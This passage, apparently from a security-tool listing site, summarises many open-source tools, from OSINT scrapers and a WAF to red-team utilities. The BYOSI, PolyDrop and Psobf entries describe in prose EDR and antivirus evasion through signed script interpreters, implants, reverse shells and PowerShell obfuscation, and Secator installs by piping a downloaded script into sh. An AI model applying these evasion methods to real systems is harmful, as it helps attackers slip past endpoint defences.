    GOOGLE_CHROME_PATH = '/opt/loboguara/bin/google-chrome'
    FFUF_PATH = '/opt/loboguara/bin/ffuf'
    SUBFINDER_PATH = '/opt/loboguara/bin/subfinder'

    LOG_LEVEL = 'ERROR'
    LOG_FILE = '/opt/loboguara/logs/loboguara.log'
    1. Make the installation script executable and run it:
    sudo chmod +x ./install.sh
    sudo ./install.sh
    1. Start the service after installation:
    sudo -u loboguara /opt/loboguara/start.sh

    Access the URL below to register the Lobo GuarΓ‘ Super Admin

    http://your_address:7405/admin

    Online Platform

    Access the Lobo GuarΓ‘ platform online: https://loboguara.olivsec.com.br/



    Telegram-Story-Scraper - A Python Script That Allows You To Automatically Scrape And Download Stories From Your Telegram Friends

    By: Unknown


    A Python script that allows you to automatically scrape and download stories from your Telegram friends using the Telethon library. The script continuously monitors and saves both photos and videos from stories, along with their metadata.


    Important Note About Story Access ⚠️

    Due to Telegram API restrictions, this script can only access stories from: - Users you have added to your friend list - Users whose privacy settings allow you to view their stories

    This is a limitation of Telegram's API and cannot be bypassed.

    Features πŸš€

    • Automatically scrapes all available stories from your Telegram friends
    • Downloads both photos and videos from stories
    • Stores metadata in SQLite database
    • Exports data to Excel spreadsheet
    • Real-time monitoring with customizable intervals
    • Timestamp is set to (UTC+2)
    • Maintains record of previously downloaded stories
    • Resume capability
    • Automatic retry mechanism

    Prerequisites πŸ“‹

    Before running the script, you'll need:

    • Python 3.7 or higher
    • Telegram account
    • API credentials from Telegram
    • Friends on Telegram whose stories you want to track

    Required Python packages

    pip install -r requirements.txt

    Contents of requirements.txt:

    telethon
    openpyxl
    schedule

    Getting Telegram API Credentials πŸ”‘

    1. Visit https://my.telegram.org/auth
    2. Log in with your phone number
    3. Click on "API development tools"
    4. Fill in the form:
    5. App title: Your app name
    6. Short name: Your app short name
    7. Platform: Can be left as "Desktop"
    8. Description: Brief description of your app
    9. Click "Create application"
    10. You'll receive:
    11. api_id: A number
    12. api_hash: A string of letters and numbers

    Keep these credentials safe, you'll need them to run the script!

    Setup and Running πŸ”§

    1. Clone the repository:
    git clone https://github.com/unnohwn/telegram-story-scraper.git
    cd telegram-story-scraper
    1. Install requirements:
    pip install -r requirements.txt
    1. Run the script:
    python TGSS.py
    1. On first run, you'll be prompted to enter:
    2. Your API ID
    3. Your API Hash
    4. Your phone number (with country code)
    5. Verification code (sent to your Telegram)
    6. Checking interval in seconds (default is 60)

    How It Works πŸ”„

    The script: 1. Connects to your Telegram account 2. Periodically checks for new stories from your friends 3. Downloads any new stories (photos/videos) 4. Stores metadata in a SQLite database 5. Exports information to an Excel file 6. Runs continuously until interrupted (Ctrl+C)

    Data Storage πŸ’Ύ

    Database Structure (stories.db)

    SQLite database containing: - user_id: Telegram user ID of the story creator - story_id: Unique story identifier - timestamp: When the story was posted (UTC+2) - filename: Local filename of the downloaded media

    CSV and Excel Export (stories_export.csv/xlsx)

    Export file containing the same information as the database, useful for: - Easy viewing of story metadata - Filtering and sorting - Data analysis - Sharing data with others

    Media Storage πŸ“

    • Photos are saved as: {user_id}_{story_id}.jpg
    • Videos are saved with their original extension: {user_id}_{story_id}.{extension}
    • All media files are saved in the script's directory

    Features in Detail πŸ”

    Continuous Monitoring

    • Customizable checking interval (default: 60 seconds)
    • Runs continuously until manually stopped
    • Maintains state between runs
    • Avoids duplicate downloads

    Media Handling

    • Supports both photos and videos
    • Automatically detects media type
    • Preserves original quality
    • Generates unique filenames

    Error Handling πŸ› οΈ

    The script includes: - Automatic retry mechanism for failed downloads - Error logging for failed operations - Connection error handling - State preservation in case of interruption

    Limitations ⚠️

    • Subject to Telegram's rate limits
    • Stories must be currently active (not expired)
    • Media download size limits apply as per Telegram's restrictions

    Contributing 🀝

    Contributions are welcome! Please feel free to submit a Pull Request.

    License πŸ“„

    This project is licensed under the MIT License - see the LICENSE file for details.

    Disclaimer βš–οΈ

    This tool is for educational purposes only. Make sure to: - Respect Telegram's Terms of Service - Obtain necessary permissions before scraping - Use responsibly and ethically - Comply with data protection regulations - Respect user privacy



    gitGRAB - This Tool Is Designed To Interact With The GitHub API And Retrieve Specific User Details, Repository Information, And Commit Emails For A Given User

    By: Unknown


    This tool is designed to interact with the GitHub API and retrieve specific user details, repository information, and commit emails for a given user.


    Install Requests

    pip install requests

    Execute the program

    python3 gitgrab.py



    Snoop - OSINT Tool For Research Social Media Accounts By Username

    By: Unknown


    OSINT Tool for research social media accounts by username


    Install Requests

    ```Install Requests pip install requests

    #### Install BeautifulSoup
    ```Install BeautifulSoup
    pip install beautifulsoup4

    Execute the program

    Execute Snoop python3 snoop.py



    Lazywarden - Automatic Bitwarden Backup

    By: Unknown


    Secure, Automated, and Multi-Cloud Bitwarden Backup and Import System

    Lazywarden is a Python automation tool designed to Backup and Restore data from your vault, including Bitwarden attachments. It allows you to upload backups to multiple cloud storage services and receive notifications across multiple platforms. It also offers AES encrypted backups and uses key derivation with Argon2, ensuring maximum security for your data.


    Features

    • πŸ”’ Maximum Security: Data protection with AES-256 encryption and Argon2 key derivation.
    • πŸ”„ Automated Backups and Imports: Keep your Bitwarden vault up to date and secure.
    • βœ… Integrity Verification: SHA-256 hash to ensure data integrity on every backup.
    • ☁️ Multi-Cloud Support: Store backups to services such as Dropbox, Google Drive, pCloud, MEGA, NextCloud, Seafile, Storj, Cloudflare R2, Backblaze B2, Filebase (IPFS) and via SMTP.
    • πŸ–₯️ Local Storage: Save backups to a local path for greater control.
    • πŸ”” Real-Time Alerts: Instant notifications on Discord, Telegram, Ntfy and Slack.
    • πŸ—“οΈ Schedule Management: Integration with CalDAV, Todoist and Vikunja to manage your schedule.
    • 🐳 Easy Deployment: Quick setup with Docker Compose.
    • πŸ€– Full Automation and Custom Scheduling: Automatic backups with flexible scheduling options (daily, weekly, monthly, yearly). Integration with CalDAV, Todoist and Vikunja for complete tracking and email notifications.
    • πŸ”‘ Bitwarden Export to KeePass: Export Bitwarden items to a KeePass database (kdbx), including TOTP-seeded logins, URI, custom fields, card, identity attachments and secure notes.

    Platform CompatibilityΒ Β 



    Docf-Sec-Check - DockF-Sec-Check Helps To Make Your Dockerfile Commands More Secure

    By: Unknown


    DockF-Sec-Check helps to make your Dockerfile commands more secure.


    Done

    • [x] First-level security notification in the Dockerfile

    TODO List

    • [ ] Correctly detect the Dockerfile.
    • [ ] Second-level security notification in the Dockerfile.
    • [ ] Security notification in Docker images.
    • [ ] ***** (Private Repository)

    Installation

    From Source Code

    You can use virtualenv for package dependencies before installation.

    git clone https://github.com/OsmanKandemir/docf-sec-check.git
    cd docf-sec-check
    python setup.py build
    python setup.py install

    From Pypi

    The application is available on PyPI. To install with pip:

    pip install docfseccheck

    From Dockerfile

    You can run this application on a container after build a Dockerfile. You need to specify a path (YOUR-LOCAL-PATH) to scan the Dockerfile in your local.

    docker build -t docfseccheck .
    docker run -v <YOUR-LOCAL-PATH>/Dockerfile:/docf-sec-check/Dockerfile docfseccheck -f /docf-sec-check/Dockerfile

    From DockerHub

    docker pull osmankandemir/docfseccheck:v1.0
    docker run -v <YOUR-LOCAL-PATH>/Dockerfile:/docf-sec-check/Dockerfile osmankandemir/docfseccheck:v1.0 -f /docf-sec-check/Dockerfile


    Usage

    -f DOCKERFILE [DOCKERFILE], --file DOCKERFILE [DOCKERFILE] Dockerfile path. --file Dockerfile

    Function Usage

    from docfchecker import DocFChecker

    #Dockerfile is your file PATH.

    DocFChecker(["Dockerfile"])

    Development and Contribution

    See; CONTRIBUTING.md

    License

    Copyright (c) 2024 Osman Kandemir \ Licensed under the GPL-3.0 License.

    Donations

    If you like DocF-Sec-Check and would like to show support, you can use Buy A Coffee or Github Sponsors feature for the developer using the button below.

    Or

    Sponsor me : https://github.com/sponsors/OsmanKandemir 😊

    Your support will be much appreciated😊



    SafeLine - Serve As A Reverse Proxy To Protect Your Web Services From Attacks And Exploits

    By: Unknown


    SafeLine is a self-hosted WAF(Web Application Firewall) to protect your web apps from attacks and exploits.

    A web application firewall helps protect web apps by filtering and monitoring HTTP traffic between a web application and the Internet. It typically protects web apps from attacks such as SQL injection, XSS, code injection, os command injection, CRLF injection, ldap injection, xpath injection, RCE, XXE, SSRF, path traversal, backdoor, bruteforce, http-flood, bot abused, among others.


    How It Works


    By deploying a WAF in front of a web application, a shield is placed between the web application and the Internet. While a proxy server protects a client machine's identity by using an intermediary, a WAF is a type of reverse-proxy, protecting the server from exposure by having clients pass through the WAF before reaching the server.

    A WAF protects your web apps by filtering, monitoring, and blocking any malicious HTTP/S traffic traveling to the web application, and prevents any unauthorized data from leaving the app. It does this by adhering to a set of policies that help determine what traffic is malicious and what traffic is safe. Just as a proxy server acts as an intermediary to protect the identity of a client, a WAF operates in similar fashion but acting as an reverse proxy intermediary that protects the web app server from a potentially malicious client.

    its core capabilities include:

    • Defenses for web attacks
    • Proactive bot abused defense
    • HTML & JS code encryption
    • IP-based rate limiting
    • Web Access Control List

    Screenshots







    Get Live Demo

    FEATURES

    List of the main features as follows:

    • Block Web Attacks
    • It defenses for all of web attacks, such as SQL injection, XSS, code injection, os command injection, CRLF injection, XXE, SSRF, path traversal and so on.
    • Rate Limiting
    • Defend your web apps against DoS attacks, bruteforce attempts, traffic surges, and other types of abuse by throttling traffic that exceeds defined limits.
    • Anti-Bot Challenge
    • Anti-Bot challenges to protect your website from bot attacks, humen users will be allowed, crawlers and bots will be blocked.
    • Authentication Challenge
    • When authentication challenge turned on, visitors need to enter the password, otherwise they will be blocked.
    • Dynamic Protection
    • When dynamic protection turned on, html and js codes in your web server will be dynamically encrypted by each time you visit.


    PolyDrop - A BYOSI (Bring-Your-Own-Script-Interpreter) Rapid Payload Deployment Toolkit

    By: Unknown


    BYOSI

    - Bring-Your-Own-Script-Interpreter

    - Leveraging the abuse of trusted applications, one is able to deliver a compatible script interpreter for a Windows, Mac, or Linux system as well as malicious source code in the form of the specific script interpreter of choice. Once both the malicious source code and the trusted script interpeter are safely written to the target system, one could simply execute said source code via the trusted script interpreter.

    PolyDrop

    - Leverages thirteen scripting languages to perform the above attack.


    The following langues are wholly ignored by AV vendors including MS-Defender: - tcl - php - crystal - julia - golang - dart - dlang - vlang - nodejs - bun - python - fsharp - deno

    All of these languages were allowed to completely execute, and establish a reverse shell by MS-Defender. We assume the list is even longer, given that languages such as PHP are considered "dead" languages.

    - Currently undetectable by most mainstream Endpoint-Detection & Response vendors.

    The total number of vendors that are unable to scan or process just PHP file types is 14, and they are listed below:

    • Alibaba
    • Avast-Mobile
    • BitDefenderFalx
    • Cylance
    • DeepInstinct
    • Elastic
    • McAfee Scanner
    • Palo Alto Networks
    • SecureAge
    • SentinelOne (Static ML)
    • Symantec Mobile Insight
    • Trapmine
    • Trustlook
    • Webroot

    And the total number of vendors that are unable to accurately identify malicious PHP scripts is 54, and they are listed below:

    • Acronis (Static ML)
    • AhnLab-V3
    • ALYac
    • Antiy-AVL
    • Arcabit
    • Avira (no cloud)
    • Baidu
    • BitDefender
    • BitDefenderTheta
    • ClamAV
    • CMC
    • CrowdStrike Falcon
    • Cybereason
    • Cynet
    • DrWeb
    • Emsisoft
    • eScan
    • ESET-NOD32
    • Fortinet
    • GData
    • Gridinsoft (no cloud)
    • Jiangmin
    • K7AntiVirus
    • K7GW
    • Kaspersky
    • Lionic
    • Malwarebytes
    • MAX
    • MaxSecure
    • NANO-Antivirus
    • Panda
    • QuickHeal
    • Sangfor Engine Zero
    • Skyhigh (SWG)
    • Sophos
    • SUPERAntiSpyware
    • Symantec
    • TACHYON
    • TEHTRIS
    • Tencent
    • Trellix (ENS)
    • Trellix (HX)
    • TrendMicro
    • TrendMicro-HouseCall
    • Varist
    • VBA32
    • VIPRE
    • VirIT
    • ViRobot
    • WithSecure
    • Xcitium
    • Yandex
    • Zillya
    • ZoneAlarm by Check Point
    • Zoner

    With this in mind, and the absolute shortcomings on identifying PHP based malware we came up with the theory that the 13 identified languages are also an oversight by these vendors, including CrowdStrike, Sentinel1, Palo Alto, Fortinet, etc. We have been able to identify that at the very least Defender considers these obviously malicious payloads as plaintext.

    Disclaimer

    We as the maintainers, are in no way responsible for the misuse or abuse of this product. This was published for legitimate penetration testing/red teaming purposes, and for educational value. Know the applicable laws in your country of residence before using this script, and do not break the law whilst using this. Thank you and have a nice day.

    EDIT

    In case you are seeing all of the default declarations, and wondering wtf guys. There is a reason; this was built to be more moduler for later versions. For now, enjoy the tool and feel free to post issues. They'll be addressed as quickly as possible.



    Secator - The Pentester'S Swiss Knife

    By: Unknown


    secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.


    Features

    • Curated list of commands

    • Unified input options

    • Unified output schema

    • CLI and library usage

    • Distributed options with Celery

    • Complexity from simple tasks to complex workflows

    • Customizable


    Supported tools

    secator integrates the following tools:

    Name Description Category
    httpx Fast HTTP prober. http
    cariddi Fast crawler and endpoint secrets / api keys / tokens matcher. http/crawler
    gau Offline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan). http/crawler
    gospider Fast web spider written in Go. http/crawler
    katana Next-generation crawling and spidering framework. http/crawler
    dirsearch Web path discovery. http/fuzzer
    feroxbuster Simple, fast, recursive content discovery tool written in Rust. http/fuzzer
    ffuf Fast web fuzzer written in Go. http/fuzzer
    h8mail Email OSINT and breach hunting tool. osint
    dnsx Fast and multi-purpose DNS toolkit designed for running DNS queries. recon/dns
    dnsxbrute Fast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode). recon/dns
    subfinder Fast subdomain finder. recon/dns
    fping Find alive hosts on local networks. recon/ip
    mapcidr Expand CIDR ranges into IPs. recon/ip
    naabu Fast port discovery tool. recon/port
    maigret Hunt for user accounts across many websites. recon/user
    gf A wrapper around grep to avoid typing common patterns. tagger
    grype A vulnerability scanner for container images and filesystems. vuln/code
    dalfox Powerful XSS scanning tool and parameter analyzer. vuln/http
    msfconsole CLI to access and work with the Metasploit Framework. vuln/http
    wpscan WordPress Security Scanner vuln/multi
    nmap Vulnerability scanner using NSE scripts. vuln/multi
    nuclei Fast and customisable vulnerability scanner based on simple YAML based DSL. vuln/multi
    searchsploit Exploit searcher. exploit/search

    Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

    Installation

    Installing secator

    Pipx
    pipx install secator
    Pip
    pip install secator
    Bash
    wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
    Docker
    docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
    The volume mount -v is necessary to save all secator reports to your host machine, and--net=host is recommended to grant full access to the host network. You can alias this command to run it easier:
    alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
    Now you can run secator like if it was installed on baremetal:
    secator --help
    Docker Compose
    git clone https://github.com/freelabz/secator
    cd secator
    docker-compose up -d
    docker-compose exec secator secator --help

    Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

    Installing languages

    secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

    We provide utilities to install required languages if you don't manage them externally:

    Go
    secator install langs go
    Ruby
    secator install langs ruby

    Installing tools

    secator does not install any of the external tools it supports by default.

    We provide utilities to install or update each supported tool which should work on all systems supporting apt:

    All tools
    secator install tools
    Specific tools
    secator install tools <TOOL_NAME>
    For instance, to install `httpx`, use:
    secator install tools httpx

    Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

    Installing addons

    secator comes installed with the minimum amount of dependencies.

    There are several addons available for secator:

    worker Add support for Celery workers (see [Distributed runs with Celery](https://docs.freelabz.com/in-depth/distributed-runs-with-celery)).
    secator install addons worker
    google Add support for Google Drive exporter (`-o gdrive`).
    secator install addons google
    mongodb Add support for MongoDB driver (`-driver mongodb`).
    secator install addons mongodb
    redis Add support for Redis backend (Celery).
    secator install addons redis
    dev Add development tools like `coverage` and `flake8` required for running tests.
    secator install addons dev
    trace Add tracing tools like `memray` and `pyinstrument` required for tracing functions.
    secator install addons trace
    build Add `hatch` for building and publishing the PyPI package.
    secator install addons build

    Install CVEs

    secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

    secator install cves

    Checking installation health

    To figure out which languages or tools are installed on your system (along with their version):

    secator health

    Usage

    secator --help


    Usage examples

    Run a fuzzing task (ffuf):

    secator x ffuf http://testphp.vulnweb.com/FUZZ

    Run a url crawl workflow:

    secator w url_crawl http://testphp.vulnweb.com

    Run a host scan:

    secator s host mydomain.com

    and more... to list all tasks / workflows / scans that you can use:

    secator x --help
    secator w --help
    secator s --help

    Learn more

    To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube



    Damn-Vulnerable-Drone - An Intentionally Vulnerable Drone Hacking Simulator Based On The Popular ArduPilot/MAVLink Architecture, Providing A Realistic Environment For Hands-On Drone Hacking

    By: Unknown


    The Damn Vulnerable Drone is an intentionally vulnerable drone hacking simulator based on the popular ArduPilot/MAVLink architecture, providing a realistic environment for hands-on drone hacking.


      About the Damn Vulnerable Drone


      What is the Damn Vulnerable Drone?

      The Damn Vulnerable Drone is a virtually simulated environment designed for offensive security professionals to safely learn and practice drone hacking techniques. It simulates real-world ArduPilot & MAVLink drone architectures and vulnerabilities, offering a hands-on experience in exploiting drone systems.

      Why was it built?

      The Damn Vulnerable Drone aims to enhance offensive security skills within a controlled environment, making it an invaluable tool for intermediate-level security professionals, pentesters, and hacking enthusiasts.

      Similar to how pilots utilize flight simulators for training, we can use the Damn Vulnerable Drone simulator to gain in-depth knowledge of real-world drone systems, understand their vulnerabilities, and learn effective methods to exploit them.

      The Damn Vulnerable Drone platform is open-source and available at no cost and was specifically designed to address the substantial expenses often linked with drone hardware, hacking tools, and maintenance. Its cost-free nature allows users to immerse themselves in drone hacking without financial concerns. This accessibility makes the Damn Vulnerable Drone a crucial resource for those in the fields of information security and penetration testing, promoting the development of offensive cybersecurity skills in a safe environment.

      How does it work?

      The Damn Vulnerable Drone platform operates on the principle of Software-in-the-Loop (SITL), a simulation technique that allows users to run drone software as if it were executing on an actual drone, thereby replicating authentic drone behaviors and responses.

      ArduPilot's SITL allows for the execution of the drone's firmware within a virtual environment, mimicking the behavior of a real drone without the need for physical hardware. This simulation is further enhanced with Gazebo, a dynamic 3D robotics simulator, which provides a realistic environment and physics engine for the drone to interact with. Together, ArduPilot's SITL and Gazebo lay the foundation for a sophisticated and authentic drone simulation experience.

      While the current Damn Vulnerable Drone setup doesn't mirror every drone architecture or configuration, the integrated tactics, techniques and scenarios are broadly applicable across various drone systems, models and communication protocols.

      Features

      • Docker-based Environment: Runs in a completely virtualized docker-based setup, making it accessible and safe for drone hacking experimentation.
      • Simulated Wireless Networking: Simulated Wifi (802.11) interfaces to practice wireless drone attacks.
      • Onboard Camera Streaming & Gimbal: Simulated RTSP drone onboard camera stream with gimbal and companion computer integration.
      • Companion Computer Web Interface: Companion Computer configuration management via web interface and simulated serial connection to Flight Controller.
      • QGroundControl/MAVProxy Integration: One-click QGroundControl UI launching (only supported on x86 architecture) with MAVProxy GCS integration.
      • MAVLink Router Integration: Telemetry forwarding via MAVLink Router on the Companion Computer Web Interface.
      • Dynamic Flight Logging: Fully dynamic Ardupilot flight bin logs stored on a simulated SD Card.
      • Management Web Console: Simple to use simulator management web console used to trigger scenarios and drone flight states.
      • Comprehensive Hacking Scenarios: Ideal for practicing a wide range of drone hacking techniques, from basic reconnaissance to advanced exploitation.
      • Detailed Walkthroughs: If you need help hacking against a particular scenario you can leverage the detailed walkthrough documentation as a spoiler.


      File-Unpumper - Tool That Can Be Used To Trim Useless Things From A PE File Such As The Things A File Pumper Would Add

      By: Unknown


      file-unpumper is a powerful command-line utility designed to clean and analyze Portable Executable (PE) files. It provides a range of features to help developers and security professionals work with PE files more effectively.


      Features

      • PE Header Fixing: file-unpumper can fix and align the PE headers of a given executable file. This is particularly useful for resolving issues caused by packers or obfuscators that modify the headers.

      • Resource Extraction: The tool can extract embedded resources from a PE file, such as icons, bitmaps, or other data resources. This can be helpful for reverse engineering or analyzing the contents of an executable.

      • Metadata Analysis: file-unpumper provides a comprehensive analysis of the PE file's metadata, including information about the machine architecture, number of sections, timestamp, subsystem, image base, and section details.

      • File Cleaning: The core functionality of file-unpumper is to remove any "pumped" or padded data from a PE file, resulting in a cleaned version of the executable. This can aid in malware analysis, reverse engineering, or simply reducing the file size.

      • Parallel Processing: To ensure efficient performance, file-unpumper leverages the power of parallel processing using the rayon crate, allowing it to handle large files with ease.

      • Progress Tracking: During the file cleaning process, a progress bar is displayed, providing a visual indication of the operation's progress and estimated time remaining.

      Installation

      file-unpumper is written in Rust and can be easily installed using the Cargo package manager:

      cargo install file-unpumper

      Usage

      • <INPUT>: The path to the input PE file.

      Options

      • --fix-headers: Fix and align the PE headers of the input file.
      • --extract-resources: Extract embedded resources from the input file.
      • --analyze-metadata: Analyze and display the PE file's metadata.
      • -h, --help: Print help information.
      • -V, --version: Print version information.

      Examples

      1. Clean a PE file and remove any "pumped" data:

      bash file-unpumper path/to/input.exe

      1. Fix the PE headers and analyze the metadata of a file:

      bash file-unpumper --fix-headers --analyze-metadata path/to/input.exe

      1. Extract resources from a PE file:

      bash file-unpumper --extract-resources path/to/input.exe

      1. Perform all available operations on a file:

      bash file-unpumper --fix-headers --extract-resources --analyze-metadata path/to/input.exe

      Contributing

      Contributions to file-unpumper are welcome! If you encounter any issues or have suggestions for improvements, please open an issue or submit a pull request on the GitHub repository.

      Changelog

      The latest changelogs can be found in CHANGELOG.md

      License

      file-unpumper is released under the MIT License.



      Mass-Assigner - Simple Tool Made To Probe For Mass Assignment Vulnerability Through JSON Field Modification In HTTP Requests

      By: Unknown


      Mass Assigner is a powerful tool designed to identify and exploit mass assignment vulnerabilities in web applications. It achieves this by first retrieving data from a specified request, such as fetching user profile data. Then, it systematically attempts to apply each parameter extracted from the response to a second request provided, one parameter at a time. This approach allows for the automated testing and exploitation of potential mass assignment vulnerabilities.


      Disclaimer

      This tool actively modifies server-side data. Please ensure you have proper authorization before use. Any unauthorized or illegal activity using this tool is entirely at your own risk.

      Features

      • Enables the addition of custom headers within requests
      • Offers customization of various HTTP methods for both origin and target requests
      • Supports rate-limiting to manage request thresholds effectively
      • Provides the option to specify "ignored parameters" which the tool will ignore during execution
      • Improved the support in nested arrays/objects inside JSON data in responses

      What's Next

      • Support additional content types, such as "application/x-www-form-urlencoded"

      Installation & Usage

      Install requirements

      pip3 install -r requirements.txt

      Run the script

      python3 mass_assigner.py --fetch-from "http://example.com/path-to-fetch-data" --target-req "http://example.com/path-to-probe-the-data"

      Arguments

      Forbidden Buster accepts the following arguments:

        -h, --help            show this help message and exit
      --fetch-from FETCH_FROM
      URL to fetch data from
      --target-req TARGET_REQ
      URL to send modified data to
      -H HEADER, --header HEADER
      Add a custom header. Format: 'Key: Value'
      -p PROXY, --proxy PROXY
      Use Proxy, Usage i.e: http://127.0.0.1:8080.
      -d DATA, --data DATA Add data to the request body. JSON is supported with escaping.
      --rate-limit RATE_LIMIT
      Number of requests per second
      --source-method SOURCE_METHOD
      HTTP method for the initial request. Default is GET.
      --target-method TARGET_METHOD
      HTTP method for the modified request. Default is PUT.
      --ignore-params IGNORE_PARAMS
      Parameters to ignore during modification, separated by comma.

      Example Usage:

      python3 mass_assigner.py --fetch-from "http://example.com/api/v1/me" --target-req "http://example.com/api/v1/me" --header "Authorization: Bearer XXX" --proxy "http://proxy.example.com" --data '{\"param1\": \"test\", \"param2\":true}'



      Imperius - Make An Linux Kernel Rootkit Visible Again

      By: Unknown


      A make an LKM rootkit visible again.

      This tool is part of research on LKM rootkits that will be launched.


      It involves getting the memory address of a rootkit's "show_module" function, for example, and using that to call it, adding it back to lsmod, making it possible to remove an LKM rootkit.

      We can obtain the function address in very simple kernels using /sys/kernel/tracing/available_filter_functions_addrs, however, it is only available from kernel 6.5x onwards.

      An alternative to this is to scan the kernel memory, and later add it to lsmod again, so it can be removed.

      So in summary, this LKM abuses the function of lkm rootkits that have the functionality to become visible again.

      OBS: There is another trick of removing/defusing a LKM rootkit, but it will be in the research that will be launched.



      BYOSI - Evade EDR's The Simple Way, By Not Touching Any Of The API's They Hook

      By: Unknown


      Evade EDR's the simple way, by not touching any of the API's they hook.

      Theory

      I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.

      Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.

      Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.

      This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.


      What this script does

      The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):

      1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
      2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
      3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)

      With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.

      Disclaimer.

      I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.

      Thanks Section

      A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.

      Edit

      It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.

      Edit

      hello sentinel one :) might want to make sure that you are making links not embed.



      Psobf - PowerShell Obfuscator

      By: Unknown


      Tool for obfuscating PowerShell scripts written in Go. The main objective of this program is to obfuscate PowerShell code to make its analysis and detection more difficult. The script offers 5 levels of obfuscation, from basic obfuscation to script fragmentation. This allows users to tailor the obfuscation level to their specific needs.


      ./psobf -h

      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
      β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•
      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
      β–ˆβ–ˆβ•”β•β•β•β• β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•
      β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘
      β•šβ•β• β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•
      @TaurusOmar
      v.1.0

      Usage: ./obfuscator -i <inputFile> -o <outputFile> -level <1|2|3|4|5>
      Options:
      -i string
      Name of the PowerShell script file.
      -level int
      Obfuscation level (1 to 5). (default 1)
      -o string
      Name of the output file for the obfuscated script. (default "obfuscated.ps1")

      Obfuscation levels:
      1: Basic obfuscation by splitting the script into individual characters.
      2: Base64 encoding of the script.
      3: Alternative Base64 encoding with a different PowerShell decoding method.
      4: Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
      5: Fragmentation of the script into multiple parts and reconstruction at runtime.

      Features:

      • Obfuscation Levels: Four levels of obfuscation, each more complex than the previous one.
        • Level 1 obfuscation by splitting the script into individual characters.
        • Level 2 Base64 encoding of the script.
        • Level 3 Alternative Base64 encoding with a different PowerShell decoding method.
        • Level 4 Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
        • Level 5 Fragmentation of the script into multiple parts and reconstruction at runtime.
      • Compression and Encoding: Level 4 includes script compression before encoding it in base64.
      • Variable Obfuscation: A function was added to obfuscate the names of variables in the PowerShell script.
      • Random String Generation: Random strings are generated for variable name obfuscation.

      Install

      go install github.com/TaurusOmar/psobf@latest

      Example of Obfuscation Levels

      The obfuscation levels are divided into 5 options. First, you need to have a PowerShell file that you want to obfuscate. Let's assume you have a file named script.ps1 with the following content:

      Write-Host "Hello, World!"

